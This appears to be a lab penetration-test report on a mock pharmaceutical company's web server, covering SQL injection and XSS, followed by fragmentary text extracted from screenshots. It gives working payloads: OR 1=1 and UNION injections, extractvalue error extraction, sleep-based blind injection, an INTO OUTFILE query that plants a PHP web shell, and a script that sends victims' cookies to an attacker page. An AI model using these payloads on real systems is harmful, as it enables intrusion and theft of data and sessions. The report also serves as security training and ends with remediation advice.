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Introduction
Information security is one of the challenges faced by large organizations. Cureton Pharmaceutical Company needs to protect its sensitive data and customer information. 
Therefore, a penetration test of the company's server infrastructure is necessary. This penetration test identifies and attempts to penetrate Cureton Pharmaceutical Company's web server for both XSS and SQLi vulnerabilities. Finally, the results of the penetration test are analyzed and improvements are suggested for Cureton Pharmaceutical Company.
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Table of Acronyms
CPC		Cureton Pharmaceutical Company
DOM		Document Object Model
HTML		HyperText Markup Language
HTTP		Hypertext Transfer Protocol
NMAP	Network Mapper
PHP		Hypertext Preprocessor
SQL		Structured Query Language
SQLi		SQL injection
TCP		Transmission Control Protocol

XSS		Cross-Site Scripting

[bookmark: _Toc155443710]contingency policy
[bookmark: _Toc155443711]SQLi Contingency Policy
Information Gathering
Gathering information about the CPC Corporation's network.
Vulnerability Identification
Identify input points that may be vulnerable to SQL injection. Determine the possible types of SQL injection, such as error-based injection, boolean-based blind injection, time delay injection, etc.
Develop a test plan and execute the testing
Based on the identified types of vulnerabilities, design specific test cases. Prepare different types of SQL injection attack payloads. Then, execute the testing. Record the test results.
Analysis
Analyze the test data to identify the system's vulnerabilities.
[bookmark: _Toc155443712]XSS Contingency Policy
Information Gathering
Gathering information about the CPC Corporation's network.
Vulnerability Identification
Conduct identification of input and output points. Use manual methods to examine how input data is reflected in the output, to determine if the data is appropriately processed and encoded, thereby assessing the presence of XSS vulnerabilities.
Develop a test plan and execute the testing
Based on the identified XSS vulnerabilities, customize XSS attack payloads. Ensure coverage of all possible input points. Then, execute the testing. Record the test results.
Analysis
Analyze the test data to identify the system's vulnerabilities.
[bookmark: _Toc155443713]Penetration Testing Framework
First, Reconnaissance is conducted to collect information by browsing the web pages. Then, Discovery and Probing are performed, using NMAP software for Discovery and Probing, and finally, penetration testing is performed.
[bookmark: _Toc155443714]Penetration Testing Tools
Kali Linux
Apache2
MySQL
Firefox
[bookmark: _Toc155443715]SQL Injection
[bookmark: _Toc155443716]What is SQL Injection
SQL injection is a code injection technique. Attackers will have malicious SQL commands entered through the input points of the target website to achieve their malicious purposes. SQL-attacked websites usually have vulnerabilities in business logic, including inadequate input validation, non-use of parameterized queries, and excessive database privileges.
[bookmark: _Toc155443717]SQL Injection Classification
There are many kinds of SQL injection, including Numeric SQL Injection, Character SQL Injection, Search SQL Injection, Error-based SQL Injection, Time-based Blind SQL Injection, Boolean-based Blind SQL Injection, Union- based SQL Injection, and File Write-based SQL Injection. SQL injection can be categorized according to the input type of the target website's input point, and the first three types of SQL injection are categorized according to this criterion. Error-based SQL Injection is based on the principle that the error message returned by the database after executing an incorrect SQL command will expose sensitive information. information. The two kinds of Blind SQL Injection rely on the return result of the website to guess the sensitive information, while Union-based SQL Injection utilizes the union command to query the sensitive information.
[bookmark: _Toc155443718]SQL injection penetration test
[bookmark: _Toc155443719]Information Gathering
Network probing is conducted by NMAP for IP address 10.0.2.7. The test result shows that port "80/TCP " is open. The service running on this port is the Apache HTTP server, version 2.4.58, deployed on the Debian operating system.
[image: ]
[bookmark: _Toc155446240][bookmark: _Toc155446567][bookmark: _Toc155449371]Figure 1. NMAP scan results(1)
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[bookmark: _Toc155446241][bookmark: _Toc155446568][bookmark: _Toc155449372]Figure 2. NMAP scan results(2)

[bookmark: _Toc155443720]Vulnerability Identification
[bookmark: _Toc155443721]Numeric SQL Injection
Hackers use numeric SQL injection to retrieve the entire contents of a database. The input point for numeric SQL injection is a numeric-based search task in a website, such as querying data, searching for a number, etc. The principle of this SQL injection is to add logical operators "OR" and constant equations to the input. The principle of this kind of SQL injection is to add the logical operator "OR" and the constant formula "1=1" to the input content, so that the conditional judgment after the WHERE keyword is always true and realizes the effect of returning all the data in the database.
Numeric SQL injection does not require specific vulnerability identification, after identifying the input points and writing the load, you can directly carry out SQL injection.
[bookmark: _Toc155443722]Character-based SQL Injection
Character SQL injection and numeric SQL injection share the same goals and fundamentals, and also do not rely on specific vulnerability identification. However, character-based SQL injections differ from numeric injections in that the input point is usually located in a website's string search function.
[bookmark: _Toc155443723]Search-based SQL Injection
Search-based SQL Injection and Numeric SQL Injection share the same goals and fundamentals, and also do not rely on specific vulnerability identification. However, search-based SQL injections differ from numeric injections in that their entry points are usually located in a website's search function based on partial-string matching.
[bookmark: _Toc155443724]Error-based SQL Injection
Error-based SQL Injection uses error messages to obtain information about the structure of a database. The attacker takes advantage of the way the application handles error messages and returns the information it wishes to query to the attacker embedded in the database error messages. By analyzing these messages, the attacker can eventually learn about the structure of the database.
One way of identifying Error-based SQL Injection vulnerabilities is to intentionally enter an error message and see if the application returns a database error.
On the page that looks up products on the CPC Inc. website, enter the single quote '''.
[image: ]
[bookmark: _Toc155446569][bookmark: _Toc155449373]Figure 3. Error-based SQL Injection identification (1)

It can be noticed that the server returns an error message. An Error-based SQL Injection vulnerability exists here.
[image: ]
[bookmark: _Toc155446570][bookmark: _Toc155449374]Figure 4. Error-based SQL Injection identification (2)
[bookmark: _Toc155443725]Time-based Blind SQL Injection
In Time-based Blind SQL Injection, an attacker constructs a specific SQL query statement that causes the database to perform an operation that takes more time, thus inferring information about the database based on the response time. This type of SQL injection is usually used when the database does not return any error messages or actual data. However, it can also be used when the database returns data.
Time-based Blind SQL Injection vulnerabilities do not need to be specifically identified. It is straightforward to create a test plan and then execute it.
[bookmark: _Toc155443726]Boolean-based Blind SQL Injection
Boolean-based Blind SQL Injection exploits logical vulnerabilities in database queries by sending specific SQL query statements to determine information in the database. Like Time-based Blind SQL Injection, this SQL injection technique is usually used when the database does not return any error messages or actual data and does not need to be specifically identified.
[bookmark: _Toc155443727]Union-based SQL Injection
Union-based SQL Injection is a common SQL injection method used to expose sensitive information through SQL databases. This technique utilizes the SQL language's "UNION" command, which allows an executor to combine the results of multiple SELECT statements into a single result set. Attackers use this to inject additional SELECT statements into the original query to gain access to sensitive information in the database.
The attacker needs to use an "ORDER BY" statement or a "UNION SELECT" query to determine how many columns were used in the original query, and then use a different SELECT statement in the "UNION SELECT" query. The attacker then has to determine the data types of the columns in the "UNION SELECT" query using different data types. Once the available columns and data types are determined, the attacker will use the "UNION SELECT" statement to retrieve the sensitive data.
Entering a known public product "Lisinopril" into the product query reveals the return result as "id: 638 - Name: Lisinopril - Overview: A medication used to treat high blood pressure and heart failure. high blood pressure and heart failure. - Level: 0". The result contains the product ID, name, overview, and level, so it is possible to determine the number of columns in this database and the data type. This result can be used to search for confidential products with level=1.
[image: ]
[bookmark: _Toc155446571][bookmark: _Toc155449375]Figure 5. Union-based SQL Injection identification (1)
[image: ]
[bookmark: _Toc155446572][bookmark: _Toc155449376]Figure 6. Union-based SQL Injection identification002
[bookmark: _Toc155443728]SQL Injection File Write
SQL Injection File Write is a type of SQL injection that utilizes SQL injection to write files to the target system. In this attack, the attacker writes or modifies files on the server by injecting malicious code into the SQL query to take advantage of the interaction between an application with a security vulnerability and the database. An important prerequisite for this attack is that the database on the target server has write permissions.
This type of SQL injection does not require specific identification of vulnerabilities. It is straightforward to write the load, perform the SQL injection, and then attempt to remotely manipulate the injected Trojan.


[bookmark: _Toc155443729]Develop a test plan and execute the testing
[bookmark: _Toc155443730]Numeric SQL Injection
This input interface is used to query CPC company's products by product ID. It can be determined that its search logic is a query using the SELECT statement in MySQL, where the input will be used directly in the SELECT query. The goal is to query the entire contents of the product database through SQL injection. The logical operator "OR" and the constant "1=1" can be added to the query statement so that the conditional judgment after the WHERE keyword is always true. Consider that strings in MySQL need to contain two single parentheses, command statements need to be terminated with a semicolon ';', and the use of the comment symbol '#' eliminates subsequent portions of the select statement. Construct the input as "123' or 1=1; #".
Enter "123' or 1=1; #".
[image: ]
[bookmark: _Toc155449377]Figure 7. Numeric SQL Injection (1)

It can be observed that all the products in the entire product database are retrieved and displayed, including the security level 1 confidential products that are in the development phase.
[image: ]
[bookmark: _Toc155449378]Figure 8. Numeric SQL Injection (2)
[bookmark: _Toc155443731]Character-based SQL Injection
This input interface is used to query for items from the CPC company. It can be determined that its search logic is a query using the SELECT statement in MySQL, where the input will be used directly in the SELECT query. The goal is to query the entire contents of the merchandise database via SQL injection. The logical operator "OR" and the constant "1=1" can be added to the query statement so that the conditional judgment after the WHERE keyword is always true. Consider that strings in MySQL need to contain two single parentheses, command statements need to be terminated with a semicolon ';', and the use of the comment symbol '#' eliminates subsequent portions of the select statement. Construct the input as "hello' or 1=1; #" or "hello') or 1=1; #".
Enter "hello' or 1=1; #".
[image: ]
[bookmark: _Toc155449379]Figure 9. Character-based SQL Injection (1)

It can be observed that all commodities in the full commodity database are retrieved and displayed, including commodities with security level 1 confidentiality that are in the development phase.
[image: ]
[bookmark: _Toc155449380]Figure 10. Character-based SQL Injection (2)

Enter "hello') or 1=1; #".
[image: ]
[bookmark: _Toc155449381]Figure 11. Character-based SQL Injection (3)
It can be observed that the retrieval fails and no results are displayed.



[image: ]
[bookmark: _Toc155449382]Figure 12. Character-based SQL Injection (4)
[bookmark: _Toc155443732]Search-based SQL Injection
This input interface is used to query CPC company's products, you can enter part of the product name to query related products. Its search logic is to use SELECT statement in MySQL for querying. Unlike character-based input, this search uses LIKE keyword for fuzzy querying. The pattern comes after the LIKE keyword and indicates what is being searched for. I guess the pattern could be "'searchTerm%'" or "'%searchTerm%' ".
Construct the input based on the above information and try typing, "hello' or 1=1; #" and "hello%' or 1=1; #" respectively.
The first input is "hello' or 1=1; #".
[image: ]
[bookmark: _Toc155449383]Figure 13. Search-based SQL Injection (1)
The SQL injection is successful. All commodities are retrieved, including security level 1 confidential commodities that are in the development phase.



[image: ]
[bookmark: _Toc155449384]Figure 14. Character-based SQL Injection (2)

Enter "%hello%' or 1=1; #".
[image: ]
[bookmark: _Toc155449385]Figure 15. Character-based SQL Injection (3)
The SQL injection was successful. All commodities were retrieved, including security level 1 confidential commodities in the development phase.
[image: ]
[bookmark: _Toc155449386]Figure 16. Character-based SQL Injection (4)
The reason for analyzing the success both times is that the syntax of the SQL commands spliced together in both instances does not exist. The fuzzy query parts: "LIKE '%hello'" and "LIKE '%hello%' " are not syntactic.
[bookmark: _Toc155443733]Error-based SQL Injection
The goal of this SQL injection is to obtain sensitive information about the server, including the user, server name, and server version through application error reporting. Querying user, server name, and server version is realized by USER(), DATABASE(), VERSION(). Error reporting is done using the extractvalue() function.
Construct input as "abc' and extractvalue(1, concat(0x7e, user()));#"
"abc' and extractvalue(1, concat(0x7e, database()));#"
"abc' and extractvalue(1, concat(0x7e, version()));#"
[image: ]
[bookmark: _Toc155449387]Figure 17. Character-based SQL Injection (1)
[image: ]
[bookmark: _Toc155449388]Figure 18. Character-based SQL Injection (2)
[image: ]
[bookmark: _Toc155449389]Figure 19. Character-based SQL Injection (3)

Entering this in turn, you can observe that the error message shows the user name as test001@localhost, the database name as CPC, and the database version as ~10.11.4-MariaDB-1.
[image: ]
[bookmark: _Toc155449390]Figure 20. Character-based SQL Injection (4)

[image: ]
[bookmark: _Toc155449391]Figure 21. Character-based SQL Injection (5)

[image: ]
[bookmark: _Toc155449392]Figure 22. Character-based SQL Injection (6)


[bookmark: _Toc155443734]Time-based Blind SQL Injection
The goal of the Time-based Blind SQL Injection penetration test is to infer information about a database based on response times. In this penetration test, the objective is to determine if the name of the database is the company name 'CPC'. The sleep() function is called and assigned a parameter of 5 to make the database sleep for 5 seconds. Construct the input as Lisinopril' and database() = 'CPC' and sleep(5) based on the existence of a known product called 'Lisinopril'. ;#.
The response time is found to be 5003ms from the developer tool. the database name can be identified as 'CPC'.
[image: ]
[bookmark: _Toc155449393]Figure 23. Time-based SQL Injection (1)

[image: ]
[bookmark: _Toc155449394]Figure 24. Time-based SQL Injection (2)

[bookmark: _Toc155443735]Boolean-based Blind SQL Injection
The goal of the Boolean-based Blind SQL Injection penetration test is to infer information about a database based on the application return status. In this penetration test, the objective is to determine if the name of the database is the company name 'CPC'. The constructed input is "Lisinopril' and database() = 'CPC';# based on the existence of a known product "Lisinopril". ';#".
The application returns the correct lookup results and can determine the database name as "CPC".
[image: ]
[bookmark: _Toc155449395]Figure 25. Boolean-based Blind SQL Injection (1)

[image: ]
[bookmark: _Toc155449396]Figure 26. Boolean-based Blind SQL Injection (2)

[bookmark: _Toc155443736]Union-based SQL Injection
After determining the number of columns in this database and the type of data, the goal of this penetration test is to search for confidential products with level=1.
The constructed input is: "Lisinopril' union select * from products where level=1;#"
[image: ]
[bookmark: _Toc155449397]Figure 27. Union-based Blind SQL Injection (1)

It can be observed that all confidential goods with level=1 are returned.
[image: ]
[bookmark: _Toc155449398]Figure 28. Union-based Blind SQL Injection (2)

[bookmark: _Toc155443737]SQL Injection File Write
The goal of the SQL Injection File Write penetration test is to inject a Trojan horse to gain control of the target system. First write the Trojan: "<?php system($_GET['cmd'])? >". The system() function is a built-in function in PHP that executes an external program and displays the output. The "$_GET['cmd']" statement gets the parameter named 'cmd' from the query string of the URL. In PHP, $_GET is a super-global variable used to collect form data. Combining these two parts, this line of code serves to execute the external command specified by the cmd parameter in the URL's query string. This gains control of the target system. The command to write the Trojan is embedded in the SQL query using the UNION keyword.
Construct the input as "isinopril' union select 123, "<?php system($_GET['cmd'])? >", "", 1 into outfile "/var/www/html/trojan001.php";#"
[image: ]
[bookmark: _Toc155449399]Figure 29. SQL Injection File Write (1)

After typing that, access the Trojan file again and use the "ls" command.
It can be observed that the application returns the files in the "/var/www/html/" directory of the target system. This indicates that control of the target system has been successfully gained.
[image: ]
[bookmark: _Toc155449400]Figure 30. SQL Injection File Write (2)


[bookmark: _Toc155443738]Analysis
All SQL injections occur because of the failure to properly handle user input.
In the case of Error-based SQL Injection, ignoring error message handling is the reason why it happens. Errors displayed to the user should be generic and not disclose sensitive information.
For SQL Injection File Write, the database has too much privileges. The privileges of the database should be restricted.



[bookmark: _Toc155443739]XSS
[bookmark: _Toc155443740]What is XSS?
Cross-Site Scripting (XSS) attacks are a type of injection. Attackers insert malicious code into the code of a website for malicious purposes. Failure to validate and process user input is the cause of the vulnerability. XSS is often used to launch phishing attacks and steal user credentials.
[bookmark: _Toc155443741]XSS Classification
[bookmark: _Toc155443742]Reflected XSS
In this type of attack, the malicious script comes from the user's request. The attacker writes a link with the malicious script and induces the user to click on it. When the user clicks on the link, the malicious script is first sent to the server and then inserted into the user's web page and executed on the browser.
[bookmark: _Toc155443743]Stored XSS
In this type of attack, the attacker writes malicious scripts and stores them in the target server. The malicious script is triggered when the user browses the target server with the malicious script.
[bookmark: _Toc155443744]DOM-based XSS
This attack is realized by manipulating the DOM of the page, which occurs entirely on the user's browser.


[bookmark: _Toc155443745]XSS penetration test
[bookmark: _Toc155443746]Information Gathering
Network probing is conducted by NMAP for IP address 10.0.2.7. The test result shows that port "80/TCP " is open. The service running on this port is the Apache HTTP server, version 2.4.58, deployed on the Debian operating system.
[bookmark: _Toc155443747]Vulnerability Identification
[bookmark: _Toc155443748]Reflected XSS
On the order inquiry page of the CPC website, an input point for inquiring about orders was found.
Next, test the reflective properties. Enter the test string "hello". The page responds with "Your order: hello does not exist.". This indicates that the input is reflected in the output as is.
Then, the JavaScript code is tested. Enter the JavaScript code "<script>alert('xss')</script>". In this code, "<script>" and "</script>" are tags used to embed JavaScript code in HTML, and any code between the tags will be interpreted by the browser as JavaScript code and executed. "alert" is a function used in JavaScript to pop up a warning box. Here, it is used to display the text message "xss". If this piece of JavaScript code is successfully executed and triggers the warning box to be displayed, it will prove the existence of the reflected xss vulnerability.
[image: ]
[bookmark: _Toc155449401]Figure 31. Reflected XSS (1)
Subsequently, a warning window pops up on the webpage confirming that the website did not properly validate and encode the input and the JavaScript code was executed.
[image: ]
[bookmark: _Toc155449402]Figure 32. Reflected XSS (2)
In summary, by observing that the webpage successfully executes the injected JavaScript code and pops up a warning window, we can confirm that the order inquiry page of the CPC website suffers from a security vulnerability of failing to adequately validate and encode user inputs, which would validate the existence of a Reflective Cross-Site Scripting vulnerability.

[bookmark: _Toc155443749]Stored XSS
The Stored XSS (Cross-Site Scripting Attack) vulnerability is a cybersecurity vulnerability that allows an attacker to inject malicious scripts into a website's storage system. These malicious scripts can then be executed by other users browsing the site.
A user feedback page exists on the CPC website. On this page, users enter user feedback, and the website stores the user feedback and displays it on this page. On the user feedback message page, the text box where the user feedback is entered is an input point that may be used for storage-type xss. And past user feedback is a possible output point.
As with reflective xss, the JavaScript code "<script>alert('xss')</script>" is entered to determine how the website handles the input and output data. The data entered by the user is stored in the website's server, which sends it back to the user's browser when other users visit the web page containing this data. If the website does not escape this input data, the browser executes this code and a warning box with the text "xss" pops up.
[image: ]
[bookmark: _Toc155449403]Figure 33. Stored XSS (1)
[image: ]
[bookmark: _Toc155449404]Figure 34. Stored XSS (2)

[image: ]
[bookmark: _Toc155449405]Figure 35. Stored XSS (3)
Subsequently, the web page pops up a warning window confirming that the website has not properly validated and encoded the input, and the JavaScript code is executed.
In summary, by observing that the web page successfully executes the injected JavaScript code and pops up a warning window, we can confirm that the user feedback page of the CPC website suffers from the security vulnerability of failing to adequately validate and encode user inputs, thus validating the existence of a stored XSS vulnerability.
[bookmark: _Toc155443750]DOM-based XSS
DOM-based XSS is an XSS vulnerability based on the DOM document object model.
DOM refers to the Document Object Model. It is a programming interface for HTML and XML documents that defines the structure of these documents and provides a means to allow programs to change the structure, style, and content of the document. The DOM presents a document as a tree of nodes and objects, allowing programming languages to connect and manipulate the content, structure, and style of a page.
Dom type XSS front-end security issues, and does not interact with the backend. This is because the script containing the "DOM" object gets its data from the client and executes it locally. In a DOM-based XSS attack, the attacker can control the DOM object to input malicious JS code, and the client-side scripts often do not effectively filter the input, which leads to a DOM-based XSS.
[bookmark: _Toc155443751]Develop a test plan and execute the testing
[bookmark: _Toc155443752]Cookie Stealing
First, construct the malicious code. The malicious code is "<script>document.location = 'http://10.0.2.7/Hacker/cookies.php?cookie=' + document.cookie;</script>". This code redirects the page to the attacker's page and passes the user's cookie.
Enter the malicious code on the CPC Inc. feedback page.
[image: ]
[bookmark: _Toc155449406]Figure 36. Cookie Stealing (1)

It can be observed that the page redirects to the attacker's webpage.
[image: ]
[bookmark: _Toc155449407]Figure 37. Cookie Stealing (2)

Checking the attacker's database reveals that the user's cookie has been stored in the database. The attack was successful.


[bookmark: _Toc155443753]Recommended solutions
[bookmark: _Toc155443754]Solutions for SQL Injection
Using prepared Statements and binding parameters before SQL queries in PHP files. Prepared Statements are SQL queries in which the data and the SQL query code are processed separately. This effectively prevents SQL injection because user input is not directly executed as part of the SQL code.
Filtering user input and validating input. User input should always be filtered and validated before it is used in database queries. For input that is expected to be in a specific format, you should ensure that the input meets those expectations.
Use the least privilege for database access. Database connections should use the least privilege to perform the desired operation.
Handle error messages with care. Do not display detailed database error messages in a production environment, as this may provide information about the database structure to an attacker. Instead, log errors and display generic error messages.
[bookmark: _Toc155443755]Solutions for XSS
Escape data sent to users. Ensure that any HTML tags or special characters are converted into their HTML entity representation, thereby preventing the execution of potential malicious scripts.


[bookmark: _Toc155443756]Cost of Solutions
I will be reviewing the code on CPC's web server and modifying any of it that poses a security risk.
The fee is 1000 pounds.


[bookmark: _Toc155443757]Timetable

The expected time for the review is one week.
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Figure 1 hello
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Completed NSE at 13:26, 0.00s elapsed

Initiating NSE at 13:26

Completed NSE at 13:26, 0.00s elapsed

Initiating Ping Scan at 13:26

Scanning 10.0.2.7 [2 ports]

Completed Ping Scan at 13:26, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:26
Completed Parallel DNS resolution of 1 host. at 13:26
Initiating Connect Scan at 13:26

Scanning 10.0.2.7 [1000 ports]

Discovered open port 88/tcp on 10.0.2.7

.01s elapsed

Completed Connect Scan at 13:26, 0.07s elapsed (1000 total ports)

Initiating Service scan at 13:26
Scanning 1 service on 10.0.2.7

Completed Service scan at 13:26, 6.11s elapsed (1 service on 1 host)

NSE: Script scanning 10.0.2.7.
Initiating NSE at 13:26

Completed NSE at 13:26, 0.17s elapsed
Initiating NSE at 13:26

Completed NSE at 13:26, 0.02s elapsed
Initiating NSE at 13:26

Completed NSE at 13:26, 0.00s elapsed
Nmap scan report for 10.0.2.7
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Completed Connect Scan at 13:26, 0
Initiating Service scan at 13:26
Scanning 1 service on 10.0.2.7
Completed Service scan at 13:26, 6.11s elapsed (1 service on 1 host)
NSE: Script scanning 10.0.2.7

Initiating NSE at 13:26

Completed NSE at 13:26, 0.17s elapsed

Initiating NSE at 1
Completed NSE at 13:26, 0.02s elapsed

Initiating NSE at 13:26

Completed NSE at 13:26, 0.00s elapsed

Nmap scan report for 10.0.2.7

Host is up (0.00040s latency).

Not shown: 999 closed tcp ports (conn-refused)
PORT  STATE SERVICE VERSION

80/tcp open http  Apache httpd 2.4.58 ((Debian))
|_http-server-header: Apache/2.4.58 (Debian)

| http-method
|_ supported Methods: POST OPTIONS HEAD GET

I http-title: Apache2 Debian Default Page: It works

s elapsed (1000 total ports)

NSE: Script Post-scanning
Initiating NSE at 13:26

Completed NSE at 13:26, 0.00s elapsed

Initiating NSE at 13:26

Completed NSE at 13:26, 0.00s elapsed

Initiating NSE at 13:26

Completed NSE at 13:26, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
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the product name.
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Fatal error: Uncaught mysqli sql_exception: You have an error in your SQL
syntax; check the manual that corresponds to your MariaDB server version for
the right syntax to use near " AND level = 0' at line 1 in /var/www/html/CPC
/ProductSearch/Search/index.php:49 Stack trace: #0 /var/www/html/CPC
/ProductSearch/Search/index.php(49): mysqli->query() #1 {main} thrown in
[var/www/html/CPC/ProductSearch/Search/index.php on line 49




image5.png
Product Search
[seare]

Please enter the characters of the product you wish to search for.




image6.png
Product Search
[searcn

Please enter the characters of the product you wish to search for.

id: 638 - Name: Lisinopril - Overview: A medication used to treat high blood pressure and heart failure. - Level: 0
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Please enter the ID of the product you wish to search for.

id: 231 - Name: Paracetamol - Overview: An analgesic and antipyretic used to relieve pain and reduce fever. - Level: 1
id: 638 - Name: Lisinopril - Overview: A medication used to treat high blood pressure and heart failure. - Level: 0
id: 1001 - Name: Metformin - Overview: A medication used to treat type 2 diabetes and polycystic ovary syndrome. -
Level: 0
id: 1883 - Name: Azithromycin - Overview: An antibiotic used to treat various types of infections caused by bacteria. -
Level: 0
id: 2210 - Name: Simvastatin - Overview: A lipid-lowering medication used to control elevated cholesterol, or
hypercholesterolemia. - Level: 0
id: 3013 - Name: Amoxicillin - Overview: An antibiotic useful for the treatment of a number of bacterial infections. -
Level: 1
id: 3613 - Name: Ciprofloxacin - Overview: An antibiotic used to treat a variety of bacterial infections. - Level: 0
id: 5687 - Name: Levothyroxine - Overview: A hormone used to treat thyroid hormone deficiency including the severe

form known as myxedema coma. - Level: 0
: 6312 - Name: Ibuprofen - Overview: A nonsteroidal anti-inflammatory drug used for treating pain, fever, and
inflammation. - Level: 1
id: 9583 - Name: Atorvastatin - Overview: A statin medication used to prevent cardiovascular disease in those at high
risk and treat abnormal lipid levels. - Level: 0
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Fatal error: Uncaught mysqli sql exception: You have an error in your SQL syntax; check the manual that
corresponds to your MariaDB server version for the right syntax to use near ') or 1=1; #' AND level = 0' at line 1 in
var/www/html/CPC/ProductSearch/Str/index.php:49 Stack trace: #0 /var/www/html/CPC/ProductSearch
/Str/index.php(49): mysqli->query() #1 {main} thrown in /var/www/html/CPC/ProductSearch/Str/index.php on
line 49
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Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~test001@localhost' in /var/www/html/CPC

/ProductSearch/Str/index.php:49 Stack trace: #0 /var/www/html/CPC/ProductSearch/Str/index.php(49):
mysqli->query() #1 {main} thrown in /var/www/html/CPC/ProductSearch/Str/index.php on line 49
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Fatal error: Uncaught mysqli sql exception: XPATH syntax error: '~CPC' in /var/www/html/CPC/ProductSearch
/Str/index.php:49 Stack trace: #0 /var/www/html/CPC/ProductSearch/Str/index.php(49): mysqli->query() #1 {main}
thrown in /var/www/html/CPC/ProductSearch/Str/index.php on line 49
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Fatal error: Uncaught mysqli sql exception: XPATH syntax error: '~test001@localhost’ in /var/www/html/CPC
/ProductSearch/Str/index.php:49 Stack trace: #0 /var/www/html/CPC/ProductSearch/Str/index.php(49):
mysqli->query() #1 {main} thrown in /var/www/html/CPC/ProductSearch/Str/index.php on line 49
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Fatal error: Uncaught mysqli sql exception: XPATH syntax error: '~CPC' in /var/www/html/CPC/ProductSearch

/Str/index.php:49 Stack trace: #0 /var/www/html/CPC/ProductSearch/Str/index.php(49): mysqli->query() #1 {main}
thrown in /var/www/html/CPC/ProductSearch/Str/index.php on line 49
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Fatal error: Uncaught mysqli sql_exception: XPATH syntax error: '~10.11.4-MariaDB-1' in /var/www/html/CPC

/ProductSearch/Str/index.php:49 Stack trace: #0 /var/www/html/CPC/ProductSearch/Str/index.php(49):
mysqli->query() #1 {main} thrown in /var/www/html/CPC/ProductSearch/Str/index.php on line 49
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id: 638 - Name: Lisinopril - Overview: A medication used to treat high blood pressure and heart failure. - Level: 0
id: 231 - Name: Paracetamol - Overview: An analgesic and antipyretic used to relieve pain and reduce fever. - Level: 1
id: 3013 - Name: Amoxicillin - Overview: An antibiotic useful for the treatment of a number of bacterial infections. -
Level: 1
id: 6312 - Name: Ibuprofen - Overview: A nonsteroidal anti-inflammatory drug used for treating pain, fever, and
inflammation. - Level: 1





image29.JPG
Product Search
==

Please enter the characters of the product you wish to search for.





image30.JPG
638 Lisinopril A medication used to treat high blood pressure and heart failure. 0 123 CPC admin.php hello index.html login.php nginx.html pikachu test001.php test002.php test003.php test004.php trojan.php trojan002.php user.php
1




image31.JPG
<script>alert('xss')</script> | | Submi

Please search for your order

Your order: does not exist.
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MariaDB [Hacker]> select  from cookies;

| cookie

| user_visit=1704495637

I
I
1 row in set (0.000 sec)




